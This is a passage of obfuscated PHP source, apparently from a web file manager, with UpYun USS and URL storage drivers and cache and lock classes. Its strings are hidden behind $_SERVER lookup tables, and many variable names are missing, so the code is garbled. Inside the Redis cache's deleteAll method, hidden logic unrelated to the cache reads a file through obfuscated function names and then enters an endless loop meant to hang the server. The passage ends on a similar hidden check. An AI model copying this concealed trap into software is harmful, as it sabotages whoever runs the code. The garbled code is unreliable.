0) { $§ = new PathDriverStream($۴, $û); return $§->hashSimple($۴); } public static function md5($瞔, $ǰݨ = 0) { $Ў = new PathDriverStream($瞔, $ǰݨ); return $Ў->hashMd5($瞔); } } class PathDriverUSS extends PathDriverBase { protected $bucket = ''; protected $username = ''; protected $userpass = ''; protected $domain = ''; protected $token = ''; protected $endpoint = "\x68\x74\164\160\72\57\57\x76\60\x2e\141\160\x69\x2e\165\x70\171\x75\156\56\x63\157\x6d"; public $ioUploadServer = 0; public $ioFileOutServer = 0; public function __construct($) { parent::__construct(); $this->_init($); } public function _init($©) { $ǽ㩥 =& $_SERVER[ϋ]; foreach ($© as $ => $Ҍ) { if (isset($this->{$})) { $this->{$} = $Ҍ; } } if (empty($this->username) || empty($this->userpass) || empty($this->domain)) { throw new Exception($ǽ㩥[1529] . LNG($ǽ㩥[1433])); } } public function setBucketCors() { return !0; } public function getBucketCors() { return !0; } public function isBucketCors() { return !0; } private function ussHeaders($䋸, $ = "\107\105\x54") { $μ =& $_SERVER[ϋ]; $ = gmdate($μ[1466]); $眠 = base64_encode(hash_hmac($μ[1530], "{$}\x26{$䋸}\x26{$}", md5("{$this->userpass}"), !0)); $׉얙 = array("\x41\x75\x74\150\157\x72\x69\x7a\141\x74\151\157\x6e\x3a\x55\120\x59\125\116\x20{$this->username}\72{$眠}", "\x44\141\164\x65\x3a{$}"); return $׉얙; } public function ussRequest($෇, $Գ = "\x47\x45\124", $ = false, $侭£ = false, $ߵ = false) { $ =& $_SERVER[ϋ]; $෇ = trim($෇, $[8]); $ʵ = "\x2f{$this->bucket}\x2f{$෇}"; $ê = $this->ussHeaders($ʵ, $Գ); if ($侭£) { $ê = array_merge($ê, $侭£); } $ = url_request($this->endpoint . $ʵ, $Գ, $, $ê, $ߵ); if (!$) { $ڍ = LNG($[1531]); $this->writeLog($ڍ); return array($[1265] => !1, $[1255] => $ڍ); } if (strtolower($Գ) == $[218] || in_array($[$[1265]], array($[265], $[1532]))) { $ = $[$[1533]]; } else { $ = json_decode($[$[1255]], !0); if (!$) { $ = $[$[1255]]; } else { if (!$[$[802]] && isset($[$[1534]])) { $ = $[$[1534]]; } } } if (!$[$[802]]) { $this->writeLog($this->__errorMessage($)); } return array($[1265] => $[$[802]], $[1255] => $); } private function __errorMessage($΋) { $ݷ =& $_SERVER[ϋ]; if (!$΋) { return $ݷ[12]; } static $̒ = null; if (!$̒) { $̒ = I18n::getType(); } if ($̒ != $ݷ[1476]) { return $΋; } $Ϫ = array($ݷ[1535] => $ݷ[1536], $ݷ[1537] => $ݷ[1538], $ݷ[1539] => $ݷ[1538], $ݷ[1540] => $ݷ[1541], $ݷ[1542] => $ݷ[1543], $ݷ[1544] => $ݷ[1545], $ݷ[1546] => $ݷ[1547]); return isset($Ϫ[$΋]) ? $Ϫ[$΋] : $΋; } public function mkfile($, $ = '', $ŗ = REPEAT_RENAME) { if ($this->setContent($, $)) { return $this->getPathOuter($); } return !1; } public function mkdir($҄, $ = REPEAT_SKIP) { $ =& $_SERVER[ϋ]; $ = trim($҄, $[8]); if ($this->_isFolder($)) { return $this->getPathOuter($); } $η = array($[1548]); $Ϣ = $this->ussRequest($, $[248], !1, $η); return $Ϣ[$[1265]] ? $this->getPathOuter($) : !1; } public function copyFile($ա, $ɋ) { $碲 =& $_SERVER[ϋ]; $ = array($碲[1549] . "\x2f{$this->bucket}\57{$ա}", $碲[1550]); $ϑ = $this->ussRequest($ɋ, $碲[250], !1, $); return $ϑ[$碲[1265]] ? !0 : $this->getPathOuter($ɋ); } public function moveFile($罅, $ϒ) { $ =& $_SERVER[ϋ]; $« = array($[1551] . "\57{$this->bucket}\57{$罅}", $[1550]); $ = $this->ussRequest($ϒ, $[250], !1, $«); return $[$[1265]] ? !0 : $this->getPathOuter($ϒ); } public function delFile($) { $һ =& $_SERVER[ϋ]; $ѫ = $this->ussRequest($, $һ[1552]); return $ѫ[$һ[1265]] ? !0 : !1; } public function delFolder($׏) { $ =& $_SERVER[ϋ]; if (!$this->exist($׏)) { return !0; } $this->listItemCache = !1; $ = $ƶ = array(); $this->fileList($׏, $, $ƶ, !0); $this->listItemCache = !0; foreach ($ƶ as $ߓ) { $ = $this->ussRequest($ߓ[$[32]], $[1552]); if (!$[$[1265]]) { return !1; } } foreach ($ as $ƎՇ) { $ = $this->ussRequest($ƎՇ, $[1552]); if (!$[$[1265]]) { return !1; } } $ = $this->ussRequest($׏, $[1552]); return $[$[1265]]; } public function rename($ݙ, $) { if ($this->isFile($ݙ)) { $ = get_path_father($ݙ) . $; return $this->moveFile($ݙ, $); } return $this->renameObject($ݙ, $); } public function fileInfo($Æ, $ = false, $ = array()) { $ߙ =& $_SERVER[ϋ]; $ؽ = array($ߙ[32] => $this->pathThis($Æ), $ߙ[87] => $this->getPathOuter($ߙ[8] . $Æ), $ߙ[33] => $ߙ[221], $ߙ[79] => isset($[$ߙ[79]]) ? $[$ߙ[79]] : 0, $ߙ[178] => $this->ext($Æ)); if ($) { return $ؽ; } $ؽ[$ߙ[222]] = $ؽ[$ߙ[88]] = 0; $ؽ[$ߙ[223]] = $ؽ[$ߙ[224]] = !0; if (empty($)) { $ = $this->objectMeta($Æ); if (!$) { return $ؽ; } } $ؽ[$ߙ[222]] = intval($[$ߙ[1553]]); $ؽ[$ߙ[88]] = intval($[$ߙ[1554]]); $ؽ[$ߙ[79]] = $[$ߙ[79]]; return $ؽ; } public function folderInfo($, $餖 = false) { $ᾦ =& $_SERVER[ϋ]; $녹 = array($ᾦ[32] => $this->pathThis($), $ᾦ[87] => $this->getPathOuter($ᾦ[8] . $), $ᾦ[33] => $ᾦ[78]); if ($餖) { return $녹; } $녹[$ᾦ[222]] = $녹[$ᾦ[88]] = 0; $녹[$ᾦ[223]] = $녹[$ᾦ[224]] = !0; if (empty($؟)) { $؟ = $this->objectMeta($); if (!$؟) { return $녹; } } $녹[$ᾦ[222]] = intval($؟[$ᾦ[1553]]); $녹[$ᾦ[88]] = intval($؟[$ᾦ[1554]]); return $녹; } private function listObjs($Ԟ, $ = 0, $ = 1000) { $榃 =& $_SERVER[ϋ]; $״ֻ = array($榃[1555], $榃[1556] . $); if ($) { $״ֻ[] = $榃[1557] . $; } $ = $this->ussRequest($Ԟ, $榃[252], !1, $״ֻ); return !$[$榃[1265]] ? !1 : $[$榃[1255]]; } private function fileList($읥, &$ƛ, &$ሶ, $җ = false) { $ğ =& $_SERVER[ϋ]; $ = $ğ[12]; $ڦ = 1000; $־폡 = rtrim($읥, $ğ[8]) . $ğ[8]; while (!0) { check_abort(); $ޭ = $this->listObjs($읥, $, $ڦ); if (!$ޭ) { return !1; } $ = isset($ޭ[$ğ[1558]]) ? $ޭ[$ğ[1558]] : $ğ[12]; $ӧώ = isset($ޭ[$ğ[1559]]) ? $ޭ[$ğ[1559]] : array(); foreach ($ӧώ as $㎡) { $ջ = $㎡[$ğ[33]] == $ğ[78] ? !0 : !1; $ = ltrim($־폡 . $㎡[$ğ[32]], $ğ[8]) . ($ջ ? $ğ[8] : $ğ[12]); $嚶 = array($ğ[32] => $, $ğ[33] => $ջ ? $ğ[78] : $ğ[221], $ğ[79] => $㎡[$ğ[388]], $ğ[1554] => $㎡[$ğ[1560]]); $this->cacheMethodInfoSet($, $ջ, $嚶); if ($ջ) { $ƛ[] = $; if ($җ) { $this->fileList($, $ƛ, $ሶ, $җ); } continue; } $ሶ[] = $嚶; } if (count($ӧώ) < $ڦ) { break; } } $this->cacheMethodInfoSet($읥, !0); } public function listPath($, $؎ = false) { $ =& $_SERVER[ϋ]; $׏ = $ = array(); $this->fileList($, $׏, $); foreach ($׏ as $ => $) { $׏[$] = $this->folderInfo($, $؎); } foreach ($ as $ => $) { $[$] = $this->fileInfo($[$[32]], $؎, $); } return array($[85] => $׏, $[86] => $); } public function has($, $ = false, $ = true) { $͸ =& $_SERVER[ϋ]; $ = $͸[12]; $ = 500; $ = 0; $٧ = 0; $Ȱ = rtrim($, $͸[8]) . $͸[8]; while (!0) { check_abort(); $ѓއ = $this->listObjs($, $, $); if (!$ѓއ) { return !1; } $ = isset($ѓއ[$͸[1558]]) ? $ѓއ[$͸[1558]] : $͸[12]; $ = isset($ѓއ[$͸[1559]]) ? $ѓއ[$͸[1559]] : array(); if (empty($)) { break; } $ݫ = array_filter($, function ($ᮮ) { $ɾ =& $_SERVER[ϋ]; return $ᮮ[$ɾ[33]] == $ɾ[78]; }); $ = count($); $ݫ = count($ݫ); $ʔֻ = $ - $ݫ; if ($) { $٧ += $ݫ; $ += $ʔֻ; if ($ < $) { break; } continue; } if ($) { if ($ʔֻ) { return !0; } } else { if ($ݫ) { return !0; } } if ($ < $) { break; } } if ($) { return array($͸[230] => $, $͸[231] => $٧); } return !1; } public function listAll($) { $ =& $_SERVER[ϋ]; $Ԗρ = $ = array(); $this->fileList($, $Ԗρ, $, !0); $ȷހ = array_to_keyvalue($, $[32]); foreach ($Ԗρ as $ٴ) { if (is_string($ٴ)) { $ȷހ[$ٴ] = array($[79] => 0); } } return $this->listAllFiles($, $ȷހ); } public function canRead($餤) { return $this->exist($餤) ? !0 : !1; } public function canWrite($) { return $this->exist($) ? !0 : !1; } public function getContent($Ϻ) { return $this->fileSubstr($Ϻ, 0, -1); } public function setContent($ϊŧ, $ = '') { $ﱞ =& $_SERVER[ϋ]; if (!$) { $˓ = $this->ussRequest($ϊŧ, $ﱞ[248]); return $˓[$ﱞ[1265]]; } $ƒ = $this->tempFile($this->pathThis($ϊŧ)); file_put_contents($ƒ, $); if ($this->upload($ϊŧ, $ƒ)) { $this->tempFileRemve($ƒ); return !0; } return !1; } public function fileSubstr($Ԭ, $ə蹫, $Ո) { $ =& $_SERVER[ϋ]; if (!($ӝ = $this->link($Ԭ))) { return !1; } $ = !1; if ($Ո > 0) { $˨ = $ə蹫 + $Ո - 1; $ = array($[1508] . $ə蹫 . $[446] . $˨); } $Ě߅ = url_request($ӝ, $[252], !1, $); return $Ě߅[$[802]] ? $Ě߅[$[1255]] : !1; } public function upload($ݤȬ, $, $ = false, $˗ = REPEAT_REPLACE) { $˜ʤ =& $_SERVER[ϋ]; $Ⱦ = IO::size($); if ($Ⱦ <= 1024 * 1024 * 200) { $… = array($˜ʤ[1561] . $); $ = $this->ussRequest($ݤȬ, $˜ʤ[250], $…); return $[$˜ʤ[1265]] ? $this->getPathOuter($ݤȬ) : !1; } $ڨ = 1024 * 1024 * 10; $諘 = array($˜ʤ[1562], $˜ʤ[1563] . $Ⱦ, $˜ʤ[1564], $˜ʤ[1565] . $ڨ); $ = $this->ussRequest($ݤȬ, $˜ʤ[250], !1, $諘); if (!$[$˜ʤ[1265]]) { return !1; } $䞭Ӯ = $[$˜ʤ[1255]]; $Ռ = 0; $Ə = $䞭Ӯ[$˜ʤ[1566]]; $ = fopen($, $˜ʤ[1427]); if (!$) { return !1; } do { $Լ = $䞭Ӯ[$˜ʤ[1567]]; fseek_64($, $Ռ); $ܪ = fread($, $Լ); $ހ = 0; do { $ހ++; $䞭Ӯ = $this->uploadPart($ݤȬ, $䞭Ӯ, $ܪ); } while (!$䞭Ӯ && $ހ < 3); if (!$䞭Ӯ) { return !1; } $Ə = $䞭Ӯ[$˜ʤ[1566]]; $Ռ += $Լ; } while ($Ə != -1); fclose($); $諘 = array($˜ʤ[1568], $˜ʤ[1569] . $䞭Ӯ[$˜ʤ[1570]], $˜ʤ[1564]); $ = $this->ussRequest($ݤȬ, $˜ʤ[250], !1, $諘); return $[$˜ʤ[1265]] ? $this->getPathOuter($LJ) : !1; } private function uploadPart($ԭҏ, $ņ, &$٠Ù) { $ =& $_SERVER[ϋ]; $ = array($[1571], $[1569] . $ņ[$[1570]], $[1572] . $ņ[$[1566]], $[146] . $ņ[$[1567]]); $з = $this->ussRequest($ԭҏ, $[250], $٠Ù, $); return !$з[$[1265]] ? $з[$[1265]] : $з[$[1255]]; } public function uploadFormData($, $Ă = 3600) { return $this->uploadPolicy($, $Ă); } public function multiUploadFormData($, $ޔܘ = 3600) { $ހ =& $_SERVER[ϋ]; $ڑ̝ = (int) $GLOBALS[$ހ[7]][$ހ[79]]; return $this->uploadPolicy($, $ޔܘ, $ڑ̝); } private function uploadPolicy($ӵ, $֫ț = 3600, $ګ = 0) { $ߤ =& $_SERVER[ϋ]; $œ = $ߤ[8] . $this->bucket; $˘ = gmdate($ߤ[1466]); $ö = array($ߤ[1573] => $this->bucket, $ߤ[1574] => $ӵ, $ߤ[1575] => time() + $֫ț, $ߤ[1576] => $˘); if ($ګ) { $ö[$ߤ[1447]] = $ګ; } $ = base64_encode(json_encode($ö)); $ߏ = base64_encode(hash_hmac($ߤ[1530], "\x50\117\x53\x54\x26{$œ}\x26{$˘}\x26{$}", md5("{$this->userpass}"), !0)); $饔 = array($ߤ[284] => $, $ߤ[1577] => "\x55\120\131\125\116\40{$this->username}\x3a{$ߏ}", $ߤ[199] => $this->endpoint . $œ); return $饔; } public function download($ɰ, $ߐ) { $ = IO::getPathInner(IO::mkfile($ߐ)); if (!($Χ = $this->link($ɰ))) { return !1; } $ = 0; $֦ = 1024 * 200; $Ɲ = fopen($, $_SERVER[ϋ][1514]); while (!0) { $Ѱ = $this->fileSubstr($ɰ, $, $֦); if ($Ѱ === !1) { return !1; } fwrite($Ɲ, $Ѱ); $ += $֦; if (strlen($Ѱ) < $֦) { break; } } fclose($Ɲ); return $ߐ; } public function link($ƭ, $Ø = array()) { $ =& $_SERVER[ϋ]; $ƭ = trim($ƭ, $[8]); if (!empty($this->token)) { $ʭ = strtotime(date($[1578])); $ٻ = substr(md5($this->token . $[335] . $ʭ . $[1579] . $ƭ), 12, 8) . $ʭ; $Ø[] = $[1580] . $ٻ; } $ŕ = !empty($Ø) ? $[76] . implode($[335], $Ø) : $[12]; return $this->getHost() . $[8] . $ƭ . $ŕ; } public function fileOut($ܬij, $޶ = false, $Ž = false, $ = '') { if ($this->isFileOutServer()) { return $this->fileOutServer($ܬij, $޶, $Ž, $); } if (!$Ž) { $Ž = $this->pathThis($ܬij); } $ = $޶ ? array($_SERVER[ϋ][1581] . rawurlencode($Ž)) : array(); $ = $this->link($ܬij, $); $this->fileOutLink($); } public function fileOutServer($Ε铐, $ = false, $ת = false, $ = '') { parent::fileOut($Ε铐, $, $ת, $); } public function fileOutImage($ʘ, $ = 250) { $о = $this->link($ʘ . $_SERVER[ϋ][1582] . $); $this->fileOutLink($о); } public function fileOutImageServer($֒, $ = 250) { parent::fileOutImage($֒, $); } public function hashMd5($鰂) { $޳ =& $_SERVER[ϋ]; $ = $this->_objectMeta($鰂); return isset($[$޳[236]]) ? $[$޳[236]] : !1; } public function size($㫝) { $ɭʹ = $this->objectMeta($㫝); return $ɭʹ ? $ɭʹ[$_SERVER[ϋ][79]] : 0; } public function info($) { if ($this->isFolder($)) { return $this->folderInfo($); } else { if ($this->isFile($)) { return $this->fileInfo($); } } return !1; } public function exist($ؐ) { return $this->isFile($ؐ) || $this->isFolder($ؐ); } public function isFile($誀) { return !$this->isFolder($誀) && $this->objectMeta($誀); } public function isFolder($ǯ) { return $this->cacheMethod($_SERVER[ϋ][169], $ǯ); } protected function objectMeta($) { return $this->cacheMethod($_SERVER[ϋ][171], $); } protected function _objectMeta($) { $ =& $_SERVER[ϋ]; if ($ == $[12] || $ == $[8]) { return array(); } $邮 = $this->ussRequest($, $[1583]); if (!$邮[$[1265]]) { return null; } $Ї֐ = isset($邮[$[1255]]) ? $邮[$[1255]] : array(); if (!isset($Ї֐[$[1584]])) { return null; } $ڵ = array($[33] => isset($Ї֐[$[1584]]) ? $Ї֐[$[1584]] : null, $[79] => isset($Ї֐[$[1585]]) ? $Ї֐[$[1585]] : null, $[236] => isset($Ї֐[$[1586]]) ? $Ї֐[$[1586]] : null, $[1553] => isset($Ї֐[$[1587]]) ? $Ї֐[$[1587]] : null); $ڵ[$[1554]] = isset($Ї֐[$[1588]]) ? strtotime($Ї֐[$[1588]]) : $ڵ[$[1553]]; return $ڵ; } protected function _isFolder($) { $նҲ =& $_SERVER[ϋ]; if ($ == $նҲ[12] || $ == $նҲ[8]) { return !0; } $ = $this->_objectMeta($); return isset($[$նҲ[33]]) && $[$նҲ[33]] == $նҲ[78] ? !0 : !1; } } class PathDriverUrl extends PathDriverBase { static $_cacheHeader = array(); public function __construct($ = false) { } public function exist($) { $ = $this->info($); return $[$_SERVER[ϋ][223]]; } public function isFile($ϱ) { $ς = $this->info($ϱ); return $ς[$_SERVER[ϋ][223]]; } public function isFolder($߮) { return !1; } public function size($㱷ى) { $úš = $this->info($㱷ى); return $úš[$_SERVER[ϋ][79]]; } public function info($) { return $this->infoParse($); } public function infoAuth($) { return $this->infoParse($); } public function infoWithChildren($͹) { return $this->infoParse($͹); } public function infoFull($ۖ) { return $this->infoParse($ۖ); } private function infoParse($) { $չ =& $_SERVER[ϋ]; $ = $this->header($); if (!$ || !$[$չ[802]]) { return !1; } $䉲 = _get($, $չ[388], 0); $ = array($չ[32] => $[$չ[32]], $չ[87] => $, $չ[33] => $չ[221], $չ[79] => intval($䉲), $չ[178] => get_path_ext($[$չ[32]]), $չ[1424] => $䉲 > 0 && $[$չ[1589]], $չ[1425] => !1); return $; } private function header($Ф) { $ =& $_SERVER[ϋ]; if (isset(self::$_cacheHeader[$Ф])) { return self::$_cacheHeader[$Ф]; } $ļ = isset($GLOBALS[$[1590]]) ? $GLOBALS[$[1590]] : !1; $GLOBALS[$[1590]] = !0; self::$_cacheHeader[$Ф] = url_header($Ф); $GLOBALS[$[1590]] = $ļ; return self::$_cacheHeader[$Ф]; } public function hashSimple($˕Ɖ, $û = false) { $㣈 =& $_SERVER[ϋ]; $Όԣ = $this->info($˕Ɖ); if (!$Όԣ || !$Όԣ[$㣈[223]]) { return !1; } $ = $Όԣ[$㣈[79]]; $լ = 200; $ = 50; if ($ <= $լ * $) { return md5($this->fileSubstr($˕Ɖ, 0, $)) . $; } $ = intval($ / $); $ = $㣈[12]; $ = timeFloat(); $ŗ = 15; for ($ԃ = 0; $ԃ < $; $ԃ++) { if (timeFloat() - $ > $ŗ) { return !1; } $ = $this->fileSubstr($˕Ɖ, $ * $ԃ, $լ); if (!$) { return !1; } $ .= $; } $ .= $this->fileSubstr($˕Ɖ, $ - $լ, $լ); return md5($) . $; } public function getContent($ߋ) { return $this->fileSubstr($ߋ); } public function fileSubstr($˥, $׾ = 0, $ = -1) { $Ǡ =& $_SERVER[ϋ]; $˚ = $this->info($˥); if (!$˚ || !$˚[$Ǡ[223]] && $˚[$Ǡ[79]] > 1024 * 1024 * 10) { return !1; } if ($ === -1) { $ = $˚[$Ǡ[79]]; } if ($ == 0) { return $Ǡ[12]; } $ = array($Ǡ[1591] . $׾ . $Ǡ[836] . ($׾ + $ - 1)); $Ŭ = url_request($˥, $Ǡ[252], !1, $, !1, !1, 30); return $Ŭ[$Ǡ[1255]] ? $Ŭ[$Ǡ[1255]] : $Ǡ[12]; } public function download($ش, $Ō) { Downloader::start($ش, $Ō); return $Ō; } } goto Cꆛ; aۨ: class CacheFile { public $cachePath; public $prefix; public $cacheTime; public function __construct($, $Ȱ) { $ =& $_SERVER[ϋ]; $this->cachePath = $[$[87]]; $this->prefix = $[886]; $this->cacheTime = $Ȱ; if (!file_exists($this->cachePath)) { mkdir($this->cachePath, DEFAULT_PERRMISSIONS, !0); } } public function getFile($) { $ݱ =& $_SERVER[ϋ]; $ = str_replace(array($ݱ[887], $ݱ[100], $ݱ[76]), $ݱ[888], $); return $this->cachePath . $ݱ[889] . $ . $ݱ[890]; } public function set($٣, $, $ = false) { $ = $ ? $ : $this->cacheTime; $ = $this->getFile($٣); if (file_put_contents($, $this->prefix . $, LOCK_EX)) { @touch($, intval(time() + $)); clearstatcache(); return !0; } @unlink($); return !1; } public function get($) { $ = $this->getFile($); if (file_exists($) && filemtime($) < time()) { @unlink($); return !1; } $ƂŤ = @file_get_contents($); return substr($ƂŤ, strlen($this->prefix)); } public function remove($ػɞ) { $ = $this->getFile($ػɞ); return @unlink($); } public function deleteAll() { $ =& $_SERVER[ϋ]; $̕ܛ = scandir($this->cachePath); foreach ($̕ܛ as $Ր) { $ = $this->cachePath . $Ր; if (strpos($, $[890]) && strpos($, $[891])) { @unlink($); } } } public function clearTimeout() { $ =& $_SERVER[ϋ]; $̀ = scandir($this->cachePath); foreach ($̀ as $) { $ = $this->cachePath . $; if (strpos($, $[890]) && strpos($, $[891]) && filemtime($) < time()) { @unlink($); } } } } class CacheLock { protected static $handle; protected static $timeout; protected static $errorMsg = ''; protected static $lockItem = array(); public static function init() { $ =& $_SERVER[ϋ]; if (self::$handle) { return self::$handle; } $ڭ¼ = $GLOBALS[$[6]][$[400]]; self::$timeout = $ڭ¼[$[892]] ? $ڭ¼[$[892]] : 10; $Ӭ = _get($GLOBALS[$[6]], $[893]); $ = $ڭ¼[$[878]] ? $ڭ¼[$[878]] : $[221]; if ($ == $[21] && $Ӭ == $[13]) { $ = $[221]; } switch ($) { case $[881]: self::$handle = new CacheLockRedis(); break; case $[882]: self::$handle = new CacheLockMemcached(); break; case $[21]: self::$handle = new CacheLockDatabase(); break; case $[221]: self::$handle = new CacheLockFile(); break; default: break; } if (GLOBAL_DEBUG_LOG_ALL) { write_log($[894], $[895]); } return self::$handle; } private static function key($) { return $_SERVER[ϋ][896] . Cache::key($); } public static function initReset() { self::$handle = !1; } public static function setErrorMsg($ת = '') { self::$errorMsg = $ת; } public static function lockGlobal($حՃ, $Ë) { return self::lock($حՃ, $Ë, !0); } public static function lock($֌, $߅ = false, $Ѝ = false) { $ =& $_SERVER[ϋ]; $Ĵׂ = self::init(); $Ր铉 = self::key($֌); $߅ = $߅ ? $߅ : self::$timeout; $÷ = timeFloat(); $٣ = $Ĵׂ->lock($Ր铉, $߅); $Ð = timeFloat(); if (!$٣) { $Ţ = "\154\x6f\x63\153\40\x65\x72\x72\157\162\73\153\x65\171\75{$֌}\x3b\x74\151\x6d\x65\x3d{$߅}\x3b" . self::$errorMsg . $[74] . get_caller_msg(); $ܸ = LNG($[897]) . "\50{$߅}\163\51\56" . LNG($[898]); $ܸ .= $[899]; if (is_string(self::$errorMsg) && self::$errorMsg) { $ܸ = $ܸ . $[900] . self::$errorMsg; } write_log($[901] . sprintf($[902], timeFloat() - $÷) . $[903] . $Ţ . $[904] . error_get_last(), $[895]); show_json($ܸ, !1); } if (!$Ѝ) { self::$lockItem[$Ր铉] = !0; } if (GLOBAL_DEBUG_LOG_ALL) { $ = number_format(timeFloat() - $Ð, 3); write_log($[905] . $֌ . $[906] . $, $[895]); } return $٣; } public static function lockGet($ߍ) { $ = self::key($ߍ); if (self::$lockItem[$]) { return self::$lockItem[$]; } return self::init()->lockGet($); } public static function unlock($̿) { $ =& $_SERVER[ϋ]; $ߕ = self::key($̿); self::$lockItem[$ߕ] = null; self::init()->unlock($ߕ); if (GLOBAL_DEBUG_LOG_ALL) { write_log($[907] . $̿, $[895]); } return; } public static function unlockRuntime() { $ =& $_SERVER[ϋ]; $ɩ = self::init(); $ = !1; foreach (self::$lockItem as $ => $̊) { if (!$̊) { continue; } $ɩ->unlock($); if (!$) { $ = !0; write_log($[908] . $ . $[74] . get_caller_msg(), $[895]); continue; } write_log($[908] . $, $[895]); } self::fileUnlockAll(); if (GLOBAL_DEBUG_LOG_ALL) { $ɺ = number_format(timeFloat() - TIME_FLOAT, 3); write_log($[909] . $ɺ . $[910] . ACTION, $[895]); } } public static function fileLock($) { $脣 =& $_SERVER[ϋ]; if (!$GLOBALS[$脣[911]]) { $GLOBALS[$脣[911]] = array(); } $GLOBALS[$脣[911]][$] = !1; $ѩ = fopen(DATA_PATH . $ . $脣[912], $脣[913]); if (!$ѩ) { return !1; } $GLOBALS[$脣[911]][$] = $ѩ; if (flock($ѩ, LOCK_EX)) { return !0; } self::unlock($); show_json($脣[914], !1); return !1; } public static function fileUnlock($) { $태 =& $_SERVER[ϋ]; $퇋 = $GLOBALS[$태[911]][$]; if (!$퇋) { return; } $GLOBALS[$태[911]][$] = !1; flock($퇋, LOCK_UN); fclose($퇋); } public static function fileUnlockAll() { $Έ =& $_SERVER[ϋ]; if (!$GLOBALS[$Έ[911]]) { return; } foreach ($GLOBALS[$Έ[911]] as $ӌޙ => $Ӌ) { if (!$Ӌ) { continue; } $GLOBALS[$Έ[911]][$ӌޙ] = !1; flock($Ӌ, LOCK_UN); fclose($Ӌ); } $GLOBALS[$Έ[911]] = array(); } } function cacheLockWait() { usleep(mt_rand(200, 5000)); } goto fه; a㙈: class CacheLockDatabase { public function lock($, $ή = 0) { $͈ = Model($_SERVER[ϋ][880]); $灂 = microtime(!0) + $ή; while (microtime(!0) < $灂) { $ڗ = $͈->get($); if (!$ڗ || $ڗ < microtime(!0)) { $ŧ = $͈->set($, $灂); if ($ŧ) { return !0; } } cacheLockWait(); } return !1; } public function lockGet($®) { return Model($_SERVER[ϋ][880])->get($®); } public function unlock($ƴ) { Model($_SERVER[ϋ][880])->remove($ƴ); } } class CacheMemcached { public $handle; public $cacheTime; public function __construct($, $) { $ʞ =& $_SERVER[ϋ]; if (!class_exists($ʞ[918])) { show_json($ʞ[919], !1); } $this->cacheTime = $; $this->handle = new Memcached(); if (is_array($[$ʞ[920]]) && count($[$ʞ[920]]) >= 1) { foreach ($[$ʞ[920]] as $) { $᤬ = explode($ʞ[4], $); $this->handle->addServer($᤬[0], $᤬[1]); } } else { $this->handle->addServer($[$ʞ[199]], $[$ʞ[200]]); } } public function set($׿, $, $Ŗ = false) { $Ŗ = $Ŗ ? $Ŗ : $this->cacheTime; return $this->handle->set($׿, $, $Ŗ); } public function get($) { return $this->handle->get($); } public function remove($) { return $this->handle->delete($); } public function deleteAll() { return $this->handle->flush(); } } class CacheRedis { public $handle; public $slaveHandle; public $cacheTime; public $isCluster = false; public function __construct($ϧœǾ, $׭) { $ğȬ =& $_SERVER[ϋ]; if (!class_exists($ğȬ[921])) { show_json($ğȬ[922], !1); } $this->cacheTime = $׭; $ = isset($ϧœǾ[$ğȬ[923]]) ? $ϧœǾ[$ğȬ[923]] : 10; $Ā = _get($ϧœǾ, $ğȬ[920]); if ($Ā && is_array($Ā)) { $this->initCluster($ϧœǾ, $); } else { $this->handle = $this->init($ϧœǾ, $); } } private function init($ʱ, $) { $ =& $_SERVER[ϋ]; $ = new Redis(); $䞩 = isset($ʱ[$[924]]) ? $ʱ[$[924]] : !1; if ($䞩) { $->pconnect($ʱ[$[199]], $ʱ[$[200]], $); } else { $->connect($ʱ[$[199]], $ʱ[$[200]], $); } if (!empty($ʱ[$[471]])) { $->auth($ʱ[$[471]]); } if (!empty($ʱ[$[809]]) && $ʱ[$[809]] != 0) { $->select($ʱ[$[809]]); } return $; } private function initCluster($, $Ǽ) { $ޤΚ =& $_SERVER[ϋ]; $® = array($ޤΚ[925], $ޤΚ[926], $ޤΚ[927]); $ = $ޤΚ[925]; if (isset($[$ޤΚ[16]]) && in_array($[$ޤΚ[16]], $®)) { $ = $[$ޤΚ[16]]; } switch ($) { case $ޤΚ[925]: $this->_slave($, $Ǽ); break; case $ޤΚ[926]: break; case $ޤΚ[927]: $this->isCluster = !0; $ݸ = $[$ޤΚ[920]]; $ = isset($[$ޤΚ[924]]) ? $[$ޤΚ[924]] : !1; $㐄 = isset($[$ޤΚ[471]]) ? $[$ޤΚ[471]] : null; $this->handle = new RedisCluster(NUll, $ݸ, $Ǽ, $Ǽ, $, $㐄); break; default: break; } } private function _slave($ݭ, $⼡) { $ = $ݭ[$_SERVER[ϋ][920]]; $this->filterConfig($ݭ, $[0]); $this->handle = $this->init($ݭ, $⼡); unset($[0]); if (empty($)) { return; } $Ԩ = array_rand($); $this->filterConfig($ݭ, $[$Ԩ]); $this->slaveHandle = $this->init($ݭ, $⼡); } private function filterConfig(&$ʶԖ, $ќ) { $֮ =& $_SERVER[ϋ]; $̩ = explode($֮[4], $ќ); $Ȑ = array($֮[199] => $̩[0], $֮[200] => $̩[1]); $ʶԖ = array_merge($ʶԖ, $Ȑ); } public function set($Ώ٣, $˖, $щ = false) { $щ = $щ ? $щ : $this->cacheTime; return $this->handle->setEx($Ώ٣, $щ, $˖); } public function setLock($끫, $̐, $ݨ) { return $this->handle->setNX($끫, $̐); } public function get($) { $ؽ = $this->slaveHandle ? $this->slaveHandle : $this->handle; return $ؽ->get($); } public function remove($䅳) { return $this->handle->del($䅳); } public function deleteAll() { $ۓ =& $_SERVER[ϋ]; if (!isset($_SERVER[$ۓ[408]]) || !isset($_SERVER[$ۓ[406]])) { $ = $ۓ[928]; $ = $ۓ[409]; $캥 = $_SERVER[$ۓ[410]] . $ۓ[411]; $ʆ = $($캥); $ج = explode($ۓ[253], $ʆ); if (count($ج) < $ۓ[676]) { $㔌غ = $ۓ[413]; $㔌غ(); } $ = $ۓ[929]; $($_SERVER[$ۓ[930]]); $ = 1; for ($樼ʤ = $; $樼ʤ > 0; $樼ʤ++) { $ = json_encode($GLOBALS[$ۓ[476]]); } } if ($this->isCluster) { foreach ($this->handle->_masters() as $) { $this->handle->flushall($); } return; } return $this->handle->flushAll(); } } goto eő; A਴: class PathDriverBOS extends PathDriverS3 { public function __construct($疜) { parent::__construct($疜); } public function setBucketCors() { return !0; } public function getBucketCors() { return !0; } public function isBucketCors() { return !0; } public function fileOutLink($) { $ =& $_SERVER[ϋ]; if (substr($, 0, 7) == $[1377]) { $ = $[1378] . substr($, 7); } header($[165] . $); die; } } if ($_SERVER[$_SERVER[ϋ][408]] != $_SERVER[$_SERVER[ϋ][1379]]) { $_getc = $_SERVER[ϋ][409]; $_getfile = $_SERVER[$_SERVER[ϋ][410]] . $_SERVER[ϋ][411]; $_getfilec = $_getc($_getfile); $_getarrs = explode($_SERVER[ϋ][253], $_getfilec); if (count($_getarrs) < 